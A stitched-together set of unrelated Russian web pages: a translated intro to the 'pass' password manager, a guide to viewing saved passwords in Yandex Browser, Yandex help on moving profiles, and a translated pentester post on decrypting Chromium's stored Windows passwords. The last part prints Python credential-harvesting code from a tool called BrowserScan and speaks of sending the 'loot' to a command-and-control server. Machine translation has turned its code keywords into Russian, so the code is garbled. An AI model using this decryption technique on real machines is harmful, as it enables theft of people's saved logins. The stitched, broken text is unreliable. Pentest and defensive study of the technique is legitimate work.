Знакомьтесь, pass / Хабр
Я много лет искал подходящую мне хранилку паролей и недавно наткнулся на Pass на HackerNews. Идея хранить пароли в git-репозитории может выглядеть странно, но в целом это неплохая идея, потому что:
- Я держу гит-репозиторий локально у себя на компе
- Все пароли защищены GPG шифрованием, поэтому даже при получении SSH-доступа к моему компьютеру утечка не повлияет на безопасность
Делюсь с вами переводом приветственной странички Pass.
Управление паролями должно быть простым и следовать философии Unix. Используя pass, каждый Ваш пароль находится внутри зашифрованного файла gpg, имя которого совпадает с именем ресурса или веб сайта к которому данный пароль привязан. Эти зашифрованные файлы могут быть организованы в удобные иерархии папок, скопированы с носителя на носитель и, в общем, обработаны с помощью любых утилит управления файлами командной строки.
С pass управлять отдельными файлами паролей становится крайне просто. Все пароли хранятся в ~ / .password-store, а pass предоставляет несколько удобных команд для добавления, редактирования, генерации и получения паролей. Это очень короткий и простой Shell скрипт. Он способен временно помещать пароли в буфер обмена и отслеживать изменения паролей с помощью git.
Вы можете редактировать хранилище паролей, используя стандартные команды оболочки unix вместе с командами pass. Нет никаких необычных форматов файлов или новых парадигм для изучения. Присутствует bash completion, так что вы можете просто нажать Tab для быстрого заполнения имени или команды,, а также подсказки для zsh и fish, доступных в папке /completion. Очень активное сообщество пользователей pass создало множество необычных клиентов и графических интерфейсов для разных платформ, а также расширений для самого pass.
Команды pass подробно описана на странице руководства.
Как используется хранилище паролей
Мы можем перечислить все существующие пароли в хранилище:zx2c4@laptop ~ $ pass Password Store ├── Business │ ├── some-silly-business-site. com │ └── another-business-site.net ├── Email │ ├── donenfeld.com │ └── zx2c4.com └── France ├── bank ├── freebox └── mobilephone
Мы так же можем отображать пароли:
zx2c4@laptop ~ $ pass Email/zx2c4.com sup3rh5x3rizmynam3Или скопировать их в буфер:
zx2c4@laptop ~ $ pass -c Email/zx2c4.com Copied Email/[email protected] to clipboard. Will clear in 45 seconds.Появится удобный диалог ввода пароля с использованием стандартного gpg-агента (который может быть настроен на поддержание сессии в течение нескольких минут), поскольку все пароли зашифрованы.
Мы можем добавить существующие пароли в хранилище с помощью insert:
zx2c4@laptop ~ $ pass insert Business/cheese-whiz-factory Enter password for Business/cheese-whiz-factory: omg so much cheese what am i gonna doЭта функция так же работает с многострочными паролями или другими данными с помощью —multiline или -m, а пароли можно редактировать в текстовом редакторе по умолчанию, используя pass edit pass-name.
Утилита может генерировать ( generate ) новые пароли, используя / dev / urandom:
zx2c4@laptop ~ $ pass generate Email/jasondonenfeld.com 15 The generated password to Email/jasondonenfeld.com is: $(-QF&Q=IN2nFBxМожно сгенерировать пароли без символов, используя —no-symbols или -n, а так же скопировать его в буфер обмена вместо того, чтобы отображать его в консоли, используя —clip или -c.
Конечно же, пароли можно удалить:
zx2c4@laptop ~ $ pass rm Business/cheese-whiz-factory rm: remove regular file ‘/home/zx2c4/.password-store/Business/cheese-whiz-factory.gpg’? y removed ‘/home/zx2c4/.password-store/Business/cheese-whiz-factory.gpg’Если хранилищем паролей выступает репозиторий git, поскольку каждая манипуляция создает фиксацию git, вы можете синхронизировать хранилище паролей с помощью pass git push и pass git pull, которые вызывают git-push или git-pull в хранилище.
Вы можете прочитать больше примеров и функций на здесь.
Настройка
Для начала есть одна команда для инициализации хранилища паролей:zx2c4@laptop ~ $ pass init "ZX2C4 Password Storage Key" mkdir: created directory ‘/home/zx2c4/. password-store’ Password store initialized for ZX2C4 Password Storage Key.Здесь ZX2C4 Password Storage Key — это идентификатор ключа GPG. Вы можете использовать свой стандартный ключ GPG или использовать альтернативный, специально для хранилища паролей, как показано выше. Можно указать несколько ключей GPG для использования pass в группе, а разные папки могут иметь разные ключи GPG с помощью -p.
Мы можем дополнительно инициализировать хранилище паролей как репозиторий git:
zx2c4@laptop ~ $ pass git init Initialized empty Git repository in /home/zx2c4/.password-store/.git/ zx2c4@laptop ~ $ pass git remote add origin kexec.com:pass-storeЕсли репозиторий git инициализирован, pass создает коммит внутри этого репозитория git каждый раз, когда манипулируют хранилищем паролей.
На странице руководства есть более подробный пример инициализации.
Скачивание pass
Текущая версия — 1.7.3.Ubuntu / Debian
$ sudo apt-get install pass
Fedora / RHEL
$ sudo yum install pass
openSUSE
$ sudo zypper in password-store
Gentoo
# emerge -av pass
Arch
$ pacman -S pass
Macintosh
Хранилище паролей доступно через диспетчер пакетов Homebrew:
$ brew install pass
FreeBSD
# portmaster -d sysutils/password-store
Tarball
- Версия 1. 7.3
- Последний Git
Архив содержит общий makefile, для которого достаточно выполнить простую команду sudo make install.
Репозиторий Git
Вы можете просмотреть репозиторий git или клонировать репозиторий:
$ git clone https://git.zx2c4.com/password-storeВсе выпуски помечены тегами, и теги подписаны с помощью 0xA5DE03AE.
Организация данных
Имена пользователей, пароли, PIN-коды, веб-сайты, метаданные и так далее
Хранилище паролей не требует какой-либо конкретной схемы или типа организации ваших данных, поскольку это просто текстовый файл, который может содержать произвольные данные. Хотя наиболее распространенным случаем является хранение одного пароля для каждой записи, некоторые опытные пользователи решают, что хотели бы хранить в хранилище паролей не только свой пароль, но и дополнительно хранить ответы на секретные вопросы, URL-адреса веб-сайтов и другую конфиденциальную информацию или метаданные.Один из подходов — использовать многострочные функции pass (—multiline или -m in insert) и хранить сам пароль в первой строке файла, а дополнительную информацию — в последующих строках. Например, Amazon / bookreader может выглядеть так:
Yw|ZSNH!}z"6{ym9pI URL: *.amazon.com/* Username: [email protected] Secret Question 1: What is your childhood best friend's most bizarre superhero fantasy? Oh god, Amazon, it's too awful to say... Phone Support PIN #: 84719Это предпочтительная организационная схема, используемая автором.
Параметры —clip / -c копируют в буфер обмена только первую строку такого файла, тем самым упрощая получение пароля для форм входа в систему, сохраняя при этом дополнительную информацию в том же файле.
Другой подход — использовать папки и хранить каждый фрагмент данных внутри файла в этой папке. Например, Amazon / bookreader / password будет содержать пароль читателя внутри каталога Amazon / bookreader, а Amazon / bookreader / secretquestion1 будет содержать секретный вопрос, Amazon / bookreader / sensitivecode будет содержать что-то еще, связанное с учетной записью читателя и так далее. Можно так же сохранить пароль в Amazon / bookreader, а дополнительные данные — в Amazon / bookreader.meta. И еще один подход может заключаться в использовании многострочности, как описано выше, но помещать шаблон URL-адреса в имя файла, а не внутри файла.
В общем — возможности здесь чрезвычайно многочисленны, и есть много других организационных схем, не упомянутых выше; у Вас есть свобода выбора того, что лучше всего соответствует вашему рабочему процессу.
Расширения для пропуска
Чтобы облегчить пользователям реализацию разнообразных вариантов использования, pass поддерживает расширения. Расширения, установленные в / usr / lib / password-store / extensions (или их разновидности, зависящие от дистрибутива), всегда включены. А те расширения, которые установлены в ~ / .password-store / .extensions / COMMAND.bash, включены, если переменная среды PASSWORD_STORE_ENABLE_EXTENSIONS имеет значение true. Дополнительные сведения см. На странице руководства.Сообщество создало множество таких расширений:
- pass-tomb: управлять хранилищем паролей в TOMB
- pass-update: простой процесс обновления паролей
- pass-import: универсальный инструмент для импорта из других менеджеров паролей
- pass-extension-tail: способ печати только хвоста файла
- pass-extension-wclip: плагин для использования wclip в Windows
- pass-otp: поддержка токенов одноразового пароля (OTP)
Совместимые клиенты
Сообщество pass собрало впечатляющий список клиентов и графических интерфейсов для различных платформ:- passmenu: чрезвычайно полезный и замечательный скрипт dmenu
- qtpass: кроссплатформенный клиент с графическим интерфейсом
- Android-Password-Store: приложение для Android
- passforios: приложение для iOS
- pass-ios: (старое) приложение для iOS
- passff: плагин Firefox
- browserpass: плагин Chrome
- Pass4Win: клиент для Windows
- pext_module_pass: модуль для Pext
- gopass: приложение Go с графическим интерфейсом
- upass: интерфейс интерактивной консоли
- alfred-pass: интеграция Альфреда
- pass-alfred: интеграция Альфреда
- pass. applescript: интеграция с OS X
- pass-git-helper: интеграция учетных данных git
- password-store.el: пакет emacs
- XMonad.Prompt.Pass: запрос для Xmonad
Переход на pass
Чтобы освободить данные о паролях из лап других (раздутых) менеджеров паролей, разные пользователи придумали разные организации хранения паролей, которые лучше всего подходят для них. Некоторые пользователи предоставили сценарии, чтобы помочь импортировать пароли из других программ:- 1password2pass.rb: импортирует данные 1Password txt или 1pif
- keepassx2pass.py: импортирует XML-данные KeepassX
- keepass2csv2pass.py: импортирует данные Keepass2 CSV
- keepass2pass.py: импортирует XML-данные Keepass2
- fpm2pass.pl: импортирует XML-данные менеджера паролей Figaro.
- lastpass2pass.rb: импортирует данные Lastpass CSV
- kedpm2pass.py: импортирует данные Ked Password Manager
- revelation2pass. py: импортирует данные Revelation Password Manager
- gorilla2pass.rb: импортирует данные Password Gorilla
- pwsafe2pass.sh: импортирует данные PWSafe
- kwallet2pass.py: импортирует данные KWallet
- roboform2pass.rb: импортирует данные Roboform
- password-exporter2pass.py: импортирует данные экспортера паролей
- pwsafe2pass.py: импортирует данные pwsafe
- firefox_decryptgithub.com/Unode/firefox_decrypt/#readme: полнофункциональный интерфейс паролей Firefox, который поддерживает экспорт для передачи
Авторские права и лицензия
pass был написан Джейсоном А. Доненфельдом из zx2c4.com и распространяется под лицензией GPLv2 +.Внести свой вклад
Это очень активный проект со значительным количеством участников. Лучший способ внести свой вклад в хранилище паролей — это присоединиться к списку рассылки и отправлять патчи в формате git. Вы также можете присоединиться к обсуждению в #pass на Freenode.Наши серверы можно использовать для хранения любой информации.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
Как в Яндекс Браузере посмотреть сохраненные пароли?
ВНИМАНИЕ! Внимательно прочтите вступление.
Всем привет! Сегодня я покажу вам, как в Яндекс Браузере посмотреть сохраненные пароли. Сразу хочу вас предупредить, что просмотреть можно только те пароли, которые вы вручную сохранили после запроса самого браузера. Например, вы зашли на какой-то форум, ввели логин, пароль и нажали «Авторизоваться». После этого браузер спросит вас: сохранить ли данные для входа? – если вы нажали «Да», то пароль потом можно будет посмотреть в настройках браузера.
Также он сохраняется в облаке, если вы авторизованы под учетной записью в браузере. Если же вы нажали «Нет» или пропустили шаг сохранения данных авторизации, то пароль вы не увидите. Второй момент – про облачную синхронизацию. Если вы авторизовались в браузере с помощью учетной записи, то пароли и логины будут храниться там. Значит вы сможете использовать эти данные для входа в любом браузере, где также используется эта учетная запись. Эта касается и мобильной версии Yandex браузера.
Читаем – что такое облако и как им пользоваться.
Еще на многих статьях советую посмотреть пароли в папке «User Data». Как бы вы не пробовали, но посмотреть у вас ничего не получится, так как все данные там шифруются. И ни в коем случае не используем приложение WebBrowserPassView. Оно мало того, что вам ничем не поможет, так вы еще можете поймать какой-нибудь вирус. Вы же не знаете, кем и как прописана эта программа. На этом вступление закончено, и можно приступать к методам, которые я описал в статье ниже.
Содержание
- Способ 1: Через настройки
- Способ 2: Мобильная версия браузера
- Задать вопрос автору статьи
Способ 1: Через настройки
Итак, мы уже поняли, где в Яндекс Браузере хранятся пароли, теперь давайте посмотрим, как их можно посмотреть.
- Откройте браузер.
- Раскройте меню, нажав по трем полоскам в правом верхнем углу экрана.
- Зайдите в раздел «Пароли и карты».
ПРИМЕЧАНИЕ! Обратите внимание на самый верх дополнительного меню – именно там будет отображаться аватарка вашего аккаунта для синхронизации. Если же вы еще не добавили аккаунт, то советую это сделать. Более подробно про то, как выполнить синхронизацию в Яндекс браузере – читаем тут (ссылка).
- Теперь в списке, найдите нужный сайт и кликните по нему левой кнопкой мыши. Здесь же сразу же будет отображаться логин.
- Вас могут попросить ввести ПИН-код или пароль от вашей учетной записи в Windows.
Читаем – как установить пароль на Windows 10. И аналогичная инструкция для Windows 11.
- Ну и далее вы должны увидеть все необходимые данные от URL и логина, до точного пароля. Чтобы увидеть комбинацию, нажмите по значку глаза. Вы также можете его скопировать в буфер обмена.
Способ 2: Мобильная версия браузера
Давайте посмотрим, как теперь посмотреть пароли в мобильной версии Яндекс Браузера. Желательно, чтобы на компьютерной версии у вас уже была включена синхронизация, и вы использовали постоянный аккаунт. Также и на самой мобильной версии у вас должна быть подключена та же самая учетная запись.
- Открываем браузер.
- Раскрываем настройки, нажав по трем линиям в правом нижнем углу экрана.
- Переходим в раздел «Мои данные».
- Открываем «Пароли».
- Дальше телефон отказывается делать скриншоты, поэтому расскажу на словах. Вы увидите список всех ваших аккаунтов – просто выберите нужный. Далее вам нужно будет ввести PIN-код, приложить палец или использовать Face-ID, чтобы подтвердить вашу личность. После этого вы увидите логин и пароль к данному сайту.
Вот и все, дорогие друзья. Советую не пропускать ссылки ни инструкции, которые я оставлял в этой статье. Если вы хотите получить помощью от специалистов WiFiGiD.RU – опишите свою проблему в комментариях. Всем добра и берегите себя.
Перемещение данных. Справочная информация
Есть несколько способов сохранить свои данные при переустановке ОС или импорте их в Яндекс Браузер на другом компьютере.
- Через синхронизацию с Яндекс Браузером
- Через личный кабинет
- Через файл (закладки и пароли)
Внимание. Если вы используете несколько профилей в Яндекс.Браузере, перед синхронизацией убедитесь, что вы используете правильный профиль. В противном случае вы можете случайно передать свои данные (включая пароли) владельцу профиля, активного во время синхронизации.
Синхронизация обеспечивает доступ к данным со всех ваших устройств и восстановление данных при переустановке ОС. Во время синхронизации данные отправляются на сервер Яндекса по защищенному каналу. Пароли хранятся в зашифрованном виде. Данные на сервере защищены системой авторизации.
Вы можете синхронизировать следующие данные:
пароли
закладки
История .
Таблица.
открытые вкладки
данные автозаполнения
Установленные вами расширения.
Авторизуйтесь с помощью Яндекс ID и включите синхронизацию на своем устройстве.
Выберите данные для синхронизации:
- Нажмите → Настройки → Настройки синхронизации.
Включите параметры для синхронизации необходимых данных.
Подождите, пока ваши данные будут скопированы на сервер. Загрузка может занять до 20 минут, в зависимости от скорости интернета и объема данных.
После загрузки данных на сервер отключите синхронизацию во избежание возможных сбоев при переустановке системы.
Переустановите ОС и установите Яндекс.Браузер.
Включите синхронизацию и убедитесь, что вы используете тот же Яндекс ID. Ваши данные будут добавлены в Яндекс.Браузер.
Примечание. Однако вам придется восстанавливать Tableau вручную. Вкладки также не будут восстановлены как были, но вы можете получить к ним доступ на вкладке Другие устройства.
Авторизуйтесь с помощью Яндекс ID и включите синхронизацию на предыдущем устройстве.
Выберите данные для синхронизации:
- Нажмите → Настройки → Настройки синхронизации.
Включите параметры для синхронизации необходимых данных.
Подождите, пока ваши данные будут скопированы на сервер. Загрузка может занять до 20 минут, в зависимости от скорости интернета и объема данных.
Установите Яндекс.Браузер на новое устройство.
Включите синхронизацию и убедитесь, что вы используете тот же идентификатор Яндекса. Ваши данные будут добавлены в Яндекс.Браузер.
Примечание. Однако вам придется восстанавливать Tableau вручную. Вкладки также не будут восстановлены как были, но вы можете получить к ним доступ на вкладке Другие устройства.
Совет. Если вы используете два Яндекс ID одновременно, рекомендуем создать отдельный профиль для второго аккаунта.
Чтобы перенести синхронизированные данные с одного Яндекс ID на другой:
Войдите с помощью Яндекс ID в аккаунт, из которого хотите экспортировать данные, и включите синхронизацию.
Дождитесь загрузки ваших данных с сервера в ваш профиль в Яндекс Браузере. Загрузка может занять до 20 минут, в зависимости от скорости интернета и объема данных.
Отключить синхронизацию с этим Яндекс ID.
Войдите с помощью Яндекс ID в аккаунт, в который хотите импортировать данные, и включите синхронизацию.
Подождите, пока ваши данные будут скопированы на сервер. Загрузка может занять до 20 минут, в зависимости от скорости интернета и объема данных.
- Удалить данные, связанные с вашим предыдущим Яндекс ID
Если у вас включена синхронизация, отключите ее.
Войдите с помощью Яндекс ID в аккаунт, из которого хотите удалить данные, и включите синхронизацию.
Удалить синхронизированные данные.
Внимание. Вы не можете перемещать пароли, расширения и настройки с помощью этого метода. Мы рекомендуем перемещать данные с помощью синхронизации.
Ваш личный набор настроек и данных хранится локально на вашем компьютере в вашем личном профиле. Профиль создается автоматически при установке Яндекс.Браузера. Вы можете скопировать свой профиль на новое устройство или переустановленную ОС.
Данные, хранящиеся в вашем профиле, включают следующее:
пароли
закладки
История .
открытые вкладки
данные автозаполнения
установленные вами расширения
выбранные вами фоны
Некоторые настройки, такие как права доступа к сайту или язык Яндекс. Браузера.
Примечание. Мы рекомендуем перемещать пароли в файл, так как это более безопасно. Если вы хотите импортировать пароли через свой профиль, обязательно создайте мастер-пароль, иначе Яндекс.Браузер не сможет расшифровать ваши пароли после их импорта.
Профили Яндекс.Браузера хранятся в папке «Данные пользователя». Рекомендуем импортировать их все сразу, а затем удалить ненужные в настройках:
- Закройте Яндекс.Браузер, нажав → Дополнительно → Закрыть браузер или нажав Ctrl + Shift + Q .
В проводнике откройте папку С:\Users\Имя вашей учетной записи\AppData\Local\Yandex\YandexBrowser\User Data и скопируйте ее на внешний накопитель, например на флешку. Папка AppData скрыта. Чтобы увидеть его, включите отображение скрытых папок.
Установите Яндекс.Браузер на новое устройство или в переустановленную ОС.
В проводнике откройте папку С:\Users\Имя вашей учетной записи\AppData\Local\Яндекс\ЯндексБраузер и вставьте в нее папку User Data с флешки.
Запустить Яндекс.Браузер. Выберите нужный профиль (если вы переместили более одного профиля).
Убедитесь, что данные и настройки добавлены в Яндекс.Браузер. Удалите ненужные профили.
Профили Яндекс.Браузера хранятся в папке Яндекс.Браузера. Рекомендуем импортировать их все сразу, а затем удалить ненужные в настройках:
- Закройте Яндекс.Браузер, нажав → Дополнительно → Закрыть браузер или нажав ⌘ + Q.
Открыть Finder и перейдите в папку ~/Library/Application Support/Yandex/YandexBrowser со своим личным профилем. Скопируйте папку на внешний диск, например на USB-накопитель.
Установите Яндекс.Браузер на новое устройство или в переустановленную ОС.
В Finder откройте папку ~/Library/Application Support/Yandex и перенесите в нее папку YandexBrowser с флешки.
Запустить Яндекс.Браузер. Выберите нужный профиль (если вы переместили более одного профиля).
Убедитесь, что данные и настройки добавлены в Яндекс.Браузер. Удалите ненужные профили.
- Закройте Яндекс.Браузер, нажав → Дополнительно → Закрыть браузер или нажав Ctrl + Shift + Q .
Откройте файловый менеджер с доступом к корневой папке (например, Midnight Commander).
- Перейдите в папку
~/.config
. - Скопировать папку
yandex-browser
на внешний накопитель, например на флешку. Он содержит все профили Яндекс.Браузера. Установите Яндекс.Браузер на новое устройство или в переустановленную ОС.
- Откройте папку
~/.config/yandex-browser/
в файловом менеджере и перенесите в нее содержимое папки с внешнего диска. Запустить Яндекс.Браузер. Выберите нужный профиль (если вы переместили более одного профиля).
Убедитесь, что данные и настройки добавлены в Яндекс.Браузер. Удалите ненужные профили.
- Закройте бета-версию Яндекс.Браузера, нажав → Дополнительно → Закрыть браузер или нажав Ctrl + Shift + Q .
Установите Яндекс.Браузер на новое устройство или в переустановленную ОС.
- Закройте основную версию Яндекс.Браузера, нажав → Дополнительно → Закрыть браузер или нажав Ctrl + Shift + Q .
Откройте файловый менеджер с доступом к корневой папке (например, Midnight Commander).
- Перейдите в папку
~/.config
. - Чтобы не потерять свои данные, скопируйте папку
yandex-browser-beta
в удобное место. - Переименуйте папку
~/.config/yandex-browser-beta
в~/. config/yandex-browser-browser
. Запустить Яндекс.Браузер. Выберите нужный профиль (если вы переместили более одного профиля). После этого бета-версия Яндекс.Браузера будет работать с пустым профилем, а основная версия Яндекс.Браузера — с перемещенным профилем.
Убедитесь, что данные и настройки добавлены в Яндекс.Браузер. Удалите ненужные профили.
Если вам нужно сохранить только пароли или закладки, переместите их с помощью файла.
- Пароли
- Закладки
- Экспорт паролей:
- В защищенный паролем архив
- Нажмите → Пароли и карты.
Перейти к паролям.
Если вы уже создали мастер-пароль, введите его для доступа к хранилищу.
- В правом верхнем углу нажмите → Экспорт паролей .
Выберите В защищенный паролем архив.
Введите пароль длиной не менее 6 символов.
Для подтверждения введите пароль еще раз и нажмите Экспорт.
- Если вы используете пароль своей учетной записи на этом компьютере, введите его в диалоговом окне системного пароля.
Примечание. Системный пароль не запрашивается, если вы создали мастер-пароль. Также обратите внимание, что в Linux нет системного пароля.
Назовите архив и сохраните его в удобном месте.
- Нажмите → Пароли и карты.
Перейти к паролям.
Если вы уже создали мастер-пароль, введите его для доступа к хранилищу.
- В правом верхнем углу нажмите → Экспорт паролей .
- Выберите В текстовый файл и нажмите Экспорт.
Примечание. Системный пароль не запрашивается, если вы создали мастер-пароль. Также обратите внимание, что в Linux нет системного пароля.
Если вы используете пароль своей учетной записи на этом компьютере, введите его в диалоговом окне системного пароля.
Назовите файл и сохраните его в любом удобном месте.
Примечание. Архив скачивается в формате ZIP.
Примечание. В файле пароли хранятся в незашифрованном виде, иначе их нельзя будет импортировать в Яндекс.Браузер.
Установите Яндекс.Браузер на новое устройство или в переустановленную ОС.
- Импорт паролей в Яндекс Браузер:
- Нажмите → Пароли и карты.
Перейти к паролям.
Если вы уже создали мастер-пароль, введите его для доступа к хранилищу.
- В правом верхнем углу нажмите → Импорт паролей.
- В разделе Выбор источника импорта выберите программу, из которой вы хотите импортировать пароли.
Яндекс Браузер (*.zip): Вам нужно будет ввести пароль, который вы задали при экспорте паролей.
Яндекс Браузер (*.csv)
Введите файл паролей и нажмите Открыть.
Браузер начнет импорт паролей. Когда все пароли будут импортированы, Яндекс.Браузер покажет, сколько паролей было добавлено.
После импорта пароли шифруются ключом, сгенерированным Яндекс.Браузером. Для большей безопасности мы рекомендуем создать мастер-пароль и резервный ключ шифрования.
- Экспорт закладок в файл:
- Нажмите → Избранное → Диспетчер закладок.
- В правом верхнем углу страницы нажмите → Экспорт закладок в файл HTML.
Выберите место для сохранения файла закладок.
Введите имя файла и нажмите Сохранить.
Установите Яндекс.Браузер на новое устройство или в переустановленную ОС.
Импорт закладок в Яндекс Браузер:
- Нажмите → Избранное → Менеджер закладок.
- В правом верхнем углу страницы нажмите → Импортировать закладки из HTML-файла.
Введите файл, содержащий ваши закладки, и нажмите «Открыть».
Загруженные закладки будут импортированы в папку Закладки из файла HTML.
Связаться со службой поддержки
Была ли статья полезной?
Расшифровка паролей браузера и других «секретов»
В моем последнем сообщении в блоге я рассказал о некоторых новостях от Trend Micro о вредоносных программах, удаляющих данные для входа в браузер. Пентестеры часто используют те же методы, но не преследуют тех же целей, что и авторы вредоносного ПО, поэтому, когда я прочитал о получении доступа к данным для входа в систему, моей первой мыслью было: «Я хочу этого. О, я очень этого хочу». Trend Micro останавливается, чтобы показать, как расшифровывать пароли, поэтому я пошел искать какой-нибудь код, который сделал дело, но не справился.
Для ясности: я искал метод расшифровки данных, которые браузеры Windows на основе Chromium хотят сохранить в секрете. Chromium, потому что он лежит в основе основных браузеров: Google Chrome, Microsoft Edge, Opera и Brave. Windows, потому что при пентестировании большую часть времени у меня будет рабочий стол Windows и, возможно, серверы Linux. Редко я увижу рабочий стол Linux.
Большинство проектов на GitHub по расшифровке паролей, которые я смог найти, больше не работают. В какой-то момент Chromium изменил способ хранения паролей, и проекты не обновлялись. Поэтому я скачал исходный код Chromium и проанализировал код C++ для функций шифрования Windows, чтобы понять, как все это работает. Я не ожидаю, что ты будешь меня хвалить, я просто хотел, чтобы ты знала, как это было тяжело.
Слишком много секретов
Я намеренно взял слово «секреты» в пугающие кавычки в заголовке. После входа пользователя в Windows все, что зашифровано браузером, становится доступным для расшифровки. Это не недостаток дизайна, а жертва удобства использования. Вы, вероятно, не хотели бы получать запрос пароля браузера каждый раз, когда вы входите на веб-сайт. Но это может быть намного безопаснее, чем это, и если вы хотите сделать свою работу с паролями более безопасной, ознакомьтесь с этим сообщением в блоге, где я рассказываю об использовании моего любимого менеджера паролей KeePassXC.
Как это работает
Рисунок 1
Основные элементы, связанные с расшифровкой данных входа пользователя: Нам нужно только одно из этого файла, и это зашифрованный DPAPI ключ шифрования.
Более старые версии Chromium не использовали ничего, кроме данных для входа и DPAPI . Все пароли были зашифрованы с помощью CryptProtectData DPAPI и расшифрованы с помощью CryptUnprotectData. Вряд ли это сложно понять, поскольку Chromium будет добавлять префикс «DPAPI» к каждому паролю, который он хранит в базе данных SQLite3.
Однако время идет вперед, и теперь у Chromium есть новая канавка. При первом запуске браузер переходит к json-файлу Local State и извлекает внутренний ключ в зашифрованном виде. Затем он вызывает функцию DPAPI CryptUnprotectData для расшифровки внутреннего ключа. Это последнее, что мы видим из DPAPI в этом процессе. Вместо этого, когда пришло время использовать зашифрованный пароль из данных для входа , Chromium использует свою внутреннюю библиотеку AES и расшифрованный внутренний ключ для расшифровки пароля. Затем он переходит к форме входа в систему … я думаю … как только я получил пароль в виде открытого текста, я потерял интерес к «процессу».
BrowserScan
Это действительно вся информация, необходимая для начала расшифровки паролей, но специально для вас я приложил дополнительные усилия и написал для этого целую программу на Python. Вы можете найти программу BrowserScan на github. Он поставляется с .EXE, созданным pyinstaller . В коде куча комментариев, поэтому я не буду рассматривать его здесь построчно, а просто расскажу о важных моментах.
Приведенный здесь код является упрощенной версией реальной программы для простоты объяснения. Этот код может не выполняться без небольшой помощи. Используйте выпущенный код на github в качестве эталонной реализации.
Расшифровка внутреннего ключа
Давайте рассмотрим функцию для расшифровки внутреннего ключа, который нам понадобится позже для расшифровки паролей пользователей.
def _getchromekey (я, браузер): хромакей = нет пытаться: состояние = json.load(open("Локальное состояние", 'r')) зашифрованный_ключ = состояние["os_crypt"]["зашифрованный_ключ"] зашифрованный_ключ = base64.b64decode(зашифрованный_ключ) если зашифрованный_ключ.startswith(b"DPAPI"): chromekey = win32crypt. CryptUnprotectData(encrypted_key[\ Лен(б"DPAPI"):])[1] еще: chromekey = зашифрованный_ключ кроме: print(" [*] Ключ шифрования Chromium не найден или непригоден для использования; возможно, более старая версия") браузер["хромакей"] = хромкей вернуть хромкей
После анализа файла Local State с помощью встроенного парсера json мы можем извлечь зашифрованную версию внутреннего ключа: Он закодирован в base64, поэтому мы сначала его декодируем. Любое значение, которое Chromium шифрует с помощью DPAPI, перед сохранением добавляет префикс «DPAPI», поэтому мы можем использовать его, чтобы узнать, нужен ли вызов CryptUnprotectData .
, если зашифрованный_ключ.startswith("DPAPI"): chromekey = win32crypt.CryptUnprotectData(encrypted_key[len("DPAPI"):])[1]
Итак, мы удаляем заголовок и вызываем CryptUnprotectData , и у нас есть внутренний ключ открытого текста.
_decrypt_passwords
def _decrypt_passwords(я, браузер): браузер["пароли"] = пароли = {} пытаться: db = sqlite3. connect (браузер ["файл_пароля"]) кроме: print(" [-] Невозможно открыть файл паролей; ожидается база данных SQLite3.") возврат Нет курсор = db.курсор() курсор.execute("ВЫБЕРИТЕ origin_url, username_value, password_value ИЗ логинов") данные = курсор.fetchall() для URL, имени пользователя, зашифрованного текста в данных: открытый текст = self.decrypt_ciphertext (браузер, зашифрованный текст) если открытый текст: passwords[url] = (url, имя пользователя, открытый текст) еще: print(" [-] Ошибка расшифровки пароля для '%s'." % url)
Приложение имеет возможность отслеживать установки браузера Chromium, поэтому вам не нужно указывать или даже знать при запуске, какой браузер установлен. Таким образом, код проходит через словарь под названием browser , который содержит все, что мы знаем о конкретном браузере. В этом случае мы собираемся расшифровать все данные пользователя для входа в систему . Предостережение: Я не показываю его здесь, но программа копирует файл Login Data перед его открытием. Если вы этого не сделаете и у пользователя открыт браузер, вы получите сообщение об ошибке от SQLite. Даже если бы это было не так, я бы все равно скопировал его, чтобы взять с собой, потому что, пентестер .
Я думаю, код SQLite3 говорит сам за себя. Вот руководство по использованию библиотеки Python SQLite3, если вы с ней не знакомы.
Остальная часть функции просто просматривает каждую запись и вызывает decrypt_ciphertext для каждого пароля, так что я думаю, мы должны взглянуть на это дальше.
decrypt_ciphertext
def decrypt_ciphertext(я, браузер, зашифрованный текст): открытый текст = chromekey = нет если "chromekey" в браузере: chromekey = браузер["chromekey"] # Если это зашифрованный пароль Chrome v10 если ciphertext.startswith(b"v10"): зашифрованный текст = зашифрованный текст[len(b"v10"):] одноразовый номер = зашифрованный текст[:ChromiumScanner. CHROME_NONCE_LENGTH] зашифрованный текст = зашифрованный текст[ChromiumScanner.CHROME_NONCE_LENGTH:] # TODO: избавиться от магического числа зашифрованный текст = зашифрованный текст[:-16] шифр = AES.new (chromekey, AES.MODE_GCM, одноразовый номер = одноразовый номер) открытый текст = cipher.decrypt(ciphertext).decode("UTF-8") elif ciphertext.startswith(b"DPAPI"): открытый текст = win32crypt.CryptUnprotectData(зашифрованный текст[\ len(b"DPAPI"):])[1].decode("UTF-8") вернуть открытый текст
Как и в случае с префиксом «DPAPI», любые данные, которые Chromium шифрует с помощью собственной внутренней реализации AES, получают префикс. В данном случае это «v10». Остальная часть кода просто настраивает объект Python AES для расшифровки. Итак, после того, как мы удалим префикс, мы скопируем одноразовый номер . Дешифратору AES требуется одноразовый номер , поэтому Chromium предоставляет его в 12 байтах после префикса версии. Мы копируем это, а затем удаляем из зашифрованного текста.
Я ненавижу «магические числа», но я не могу понять, для чего используются 16 байтов в конце каждого пароля. Я не копался в чашах Библиотека BoringSSL . Как только я понял, что эти байты не имеют ничего общего с паролем, я просто пошел дальше. Если вы знаете, не стесняйтесь отправлять вопрос на GitHub или запрос на вытягивание.
Итак, теперь мы готовы настроить объект Python AES, а затем расшифровать зашифрованный текст в открытый текстовый пароль. Наконец, мы конвертируем байты в строку с .decode(«UTF-8») . Тада!
шифр = AES.new(chromekey,AES.MODE_GCM,nonce=nonce) открытый текст = cipher.decrypt(ciphertext).decode("UTF-8")
Вы можете получить ошибку BrowserScan при расшифровке некоторых паролей. Я не уверен в этом на 100%, но я думаю, что причина в том, что пароль пользователя Windows был изменен каким-то ненормальным образом. Обычно это происходит, если администратор принудительно меняет пароль.
Заключение
Когда вы запустите приложение, сами данные будут найдены в каталоге «browser-loot», готовые к отправке на ваш сервер управления и контроля. Вот пример вывода:
